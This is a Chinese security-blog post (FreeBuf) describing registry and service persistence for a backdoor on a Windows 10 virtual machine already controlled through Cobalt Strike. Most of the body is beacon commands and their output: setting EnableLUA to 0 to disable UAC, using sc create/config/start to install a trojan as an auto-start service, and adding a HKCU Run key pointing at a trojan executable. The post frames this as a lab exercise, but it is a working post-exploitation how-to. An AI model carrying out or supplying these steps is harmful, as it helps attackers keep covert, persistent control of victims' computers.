freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

注册表后门持久的思考
2020-09-28 19:20:37

准备环境

windows10 虚拟机

Cobalt Strike【这里部署在Windows10上,服务器置于云上】

过程

远程木马控制了windows10虚拟机,利用Cobalt Strike

Cobalt Strike下进入beacon

1601290947_5f71c2c330dbe4e5f2e77.png!small

1601290991_5f71c2ef06f4c29bfbe54.png!small

1601291018_5f71c30a15d4c62439adc.png!small

比较说明【可执行文件留持久后门】

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 的值改为0
把这个值改成0,这样在自己的电脑上操作才是真正的administrators

查询注册表信息

shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"

EnableLUA 设置为1

1601291097_5f71c3598954cce35a39d.png!small
EnableLUA 设置为0

1601291138_5f71c3825094841cb6bf0.png!small

1601291184_5f71c3b0956ef2a160793.png!small

beacon> shell sc create "test" binpath= "C:\Users\calmness\Desktop\ceshi.exe"  【填写自己木马路径】
[*] Tasked beacon to run: sc create "test" binpath= "C:\Users\calmness\Desktop\ceshi.exe"
[+] host called home, sent: 94 bytes
[+] received output:
[SC] CreateService 成功
beacon> shell sc description "test" "测试"      【设置服务的描述】
[*] Tasked beacon to run: sc description "test" "测试"
[+] host called home, sent: 59 bytes
[+] received output:
[SC] ChangeServiceConfig2 成功
beacon> shell sc config "test" start= auto   【设置服务自启动】
[*] Tasked beacon to run: sc config "test" start= auto
[+] host called home, sent: 59 bytes
[+] received output:
[SC] ChangeServiceConfig 成功
beacon> shell net start "test"        [启动服务]
[*] Tasked beacon to run: net start "test"
[+] host called home, sent: 47 bytes
[+] received output:

结果上线!!!

或者

直接插入注册表里,成为自启动文件

继续——添加后门生成

shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "calm" /t REG_SZ /d "C:\Users\calmness\calmnexx.exe" /f

重启大法

依旧上线

20200922151816584.png

补充一点:

beacon> shell cmd /k dir

[*] Tasked beacon to run: cmd /k dir

[+] host called home, sent: 41 bytes

[+] received output:

驱动器 C 中的卷没有标签

卷的序列号是 88B7-95BE

C:\Users\calmness\Desktop 的目录

2020/09/21  13:07    <DIR>          .

结束!!!

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者